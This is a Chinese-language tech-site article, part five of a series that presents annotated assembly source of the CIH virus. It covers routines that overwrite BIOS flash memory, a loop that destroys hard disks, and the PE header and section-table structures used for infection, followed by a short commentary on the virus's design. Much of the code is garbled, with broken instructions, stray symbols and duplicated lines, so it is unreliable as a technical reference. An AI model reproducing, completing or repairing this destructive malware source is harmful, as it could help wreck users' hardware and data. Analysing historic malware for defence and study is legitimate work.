首頁  >  文章  >  後端開發  >  病毒程式原始碼實例剖析-CIH病毒[5]

病毒程式原始碼實例剖析-CIH病毒[5]

黄舟
黄舟原創
2017-01-17 11:21:471941瀏覽

病毒程式原始碼實例剖析-CIH病毒[5]

push ecx 
  loop $ 
  
  ;破壞BIOS中額外的000E0000 - 000E007F段的ROM資料,共80h個位元組 
  
  xchg ecx, eax 
  loop $ 
  
; 顯示並啟動BIOS的000E0000 - 000FFFFF段數據,共128 KB,該段可寫入訊息mov eax, 0f5555h 
  pop ecx ptr [eax], 20h 
  
  loop $
  
  ; 破壞BIOS的000FE000 - 000FE07F段數據,共80h字節 
  mov ah, 0e0h  『 00F0000 - 000FFFFF段,共64 KB 
  mov word ptr (BooleanCalculateCode-@ 10)[esi], 100ch 
  call esi 
  
  ; 破壞所有硬碟
  KillHardDisk: 
 〜  KillHardDisk:bumber  〜〜『 
  push ebx 
  sub esp, 2ch 
  push 0c00001000h 
  mov bhpush, 08〠〦〦〦〠〠〦〠〠〠〠〝pushpusho〠〠) ecx 
  push ecx 
  push ecx 
  push 40000501h 
  頟
  mov esi, esp 
  sub esp, 0ach 
  
  ;循環進行破壞
  『 4h 
  
  cmp word ptr [esi+06h], 0017h 
  je KillNextDataSection 
  
  ;換下一個硬碟
  ChangeNextHardDisk:〜『〟〜〦〜]  jmp LoopOfKillHardDisk 
  
  ;破壞下一個區域
  KillNextDataSection: 
  add dword ptr [esi+ 10h], ebx 
  mov byte ptr [esi+4dh], FirstKillHardDiskNumber 
  
  jmp able PROMToWrite: 
  mov [eax], cl 
  mov [ecx], al 
  mov byte ptr [ eax], 80h 
  mov [eax], cl 
  mov [ecx], al 
  
  ret 🀜EE:P0  㟎  ret 🀜 
  
  xchg eax, edi 
  xchg edx, ebp 
  out dx, eot , edi 
  xchg edx, ebp 
  in al, dx 
  
  BooleanCalculateCode = $g edi 
  xchg edx, ebp 
  out dx, eax 
  
  xchg eax, edi 
  x 。 
  db IFSMgr_RemoveFileSystemApiHook-_PageAllocate 
  db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 
 擯指令 db＀＀"說話之差 
  
  VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;Vxd的呼叫編號〦〜>使用Vxd調用的個數 
  
  ;病毒版本和版權資訊定義
  VirusVersionCopyright db ' CIH v' ;CIH病毒的標識 
  db MajorVirusVersion+'0' ;主版號 
  db '.' 
  db MinorVirusVersion+'0' ;次版本號' 
  db MinorVirusVersion+'0' ;次版本號' 
  db MinorVirusVersion+'0' ;次版本號' 
  db MinorVirusVersion+'0' ; ; 病毒大小
  VirusSize = $ + SizeOfVirusCodeSectionTableEndMark(04h) 
   + NumberOfSections*SizeOfVirusCodeSectionTable(08h) 
  ＀ VirusGameDataStartAddress = VirusSize 
  @6 = VirusGameDataStartAddress ;病毒資料起始位址
  
  OnBusy db 0 ;「忙碌」標誌
  FileModificationTime dd ? ;檔案修改時間 
  
  FileNameBuffer db FileNameBufferSize dup(?) ;7fh長的檔案名稱緩衝區〠🀜 〠『〜『〜『S＀ 〜〦〦〜〦〦〦〦〦〦〦〦〦〦》〦​​＀〜〦〦〦〜〦〦〜C*〜〦〜〜〦〦〜〦〜〦〦〜C<〦​​m〜〦〜C＀〜C＀〜C*〜〜  •
  @8 = DataBuffer 
  NumberOfSections dw ? ; 區塊數目 
  TimeDateStamp dd ? ; 文件時間 
  SymbolsPointer dd ? 
  NumberOfSymbols dd ? ; 符號表中符號個數 
 SizeOfOptionalHeader dw ?個檔案」的長度符號符號集 ; Magic dw ? ;標誌字(總是010bh)
  LinkerVersion dw ? ;連接器版本號 
。程式碼段起始RVA 
  BaseOfData dd ? ;資料段起始RVA 
  ImageBase dd ? ;裝入基址RVA 
  
  @9 = $ 
  SectionAlignment 對塊對齊sion dd ? ;所需作業系統版本號碼 
  ImageVersion dd ? ;使用者自訂版本號 
  SubsystemVersion dd ? ;所需子系統版本號 
  Reserved dd ? ; 保留 
  SizeOfImage ) ? 各部份總長izeOfImageHeaderToRead = $-NumberOfSections 
  NewAddressOfEntryPoint = DataBuffer 
  SizeOfImageHeaderToWrite = 04h 
  
  StartOfSectionTable = @9 
  SectionName = StartOfSectionTable = @9 
  SectionName = StartOfSectionTable = @9 
  
  VirtualAddress = StartOfSectionTable+0ch ;區塊的RVA 
  SizeOfRawData = StartOfSectionTable+10h ; 區塊實體長度 
PointerToRawData = StartOfSectionTable+14h ; 區塊實體偏移 
  PointerToRelocations = StartOfSectionTable+18h ; 重定位的偏移 
  PointerToLineNumbers = StartOfSection? Table+20h ; 重定位項目數目 
  NumberOfLinenNmbers = StartOfSectionTable +22h ; 行號表的數目 
  Characteristics = StartOfSectionTable+24h ; 區塊屬性 
  SizeOfScetionTable = Characteristics+04h-SectionName ; 每塊表塊表所需要的數量所需要的記憶體的數量; VirusNeedBaseMemory = $ 
  VirusNeedBaseMemory = $ 

  VirusTotalNeedMemory = @9 
  ; + NumberOfSections(??)*SizeOfScetionTable(28h) 
  ; + SOfVirusCodeS.? fVirusCodeSectionTable(08h) 
  ; + SizeOfTheFirstVirusCodeSectionTable(04h) 
  
  ;病毒程式結束
  VirusGame ENDS 
  END FileHeader
  從上述程式碼分析過程中,我們可以看出,CIH病毒結構清晰,層次分明。此病毒程式的主幹結構與DOS病毒極為相似,只不過對病毒細節的處理都是依win95方法,全部系統呼叫都是採用Vxd。這樣做讓病毒程式更加底層、效率更高,也便於編程,與用Windows下的API函數相比,無須考慮病毒本身的複雜重定位過程;與使用中斷相比,又更能防止對程式的追蹤分析。

  CIH病毒有兩個創新,一是病毒感染時查找感染對象文件的各塊之間的空白區域,把病毒自己的各種數據結構和代碼寫到其中(如果空白區域不夠就不傳染,這就是為什麼有些文件不會被感染的原因之一);二是病毒發作時能破壞電腦硬件,不但要燒毀Flash Memory,還要毀壞硬碟。

  出於安全的緣故,有關病毒發作、破壞硬體的這部分代碼,我們沒有給出詳細的分析。




以上就是病毒程式原始碼實例剖析-CIH病毒[5]的內容,更多相關內容請關注PHP中文網(www.php.cn)!



陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn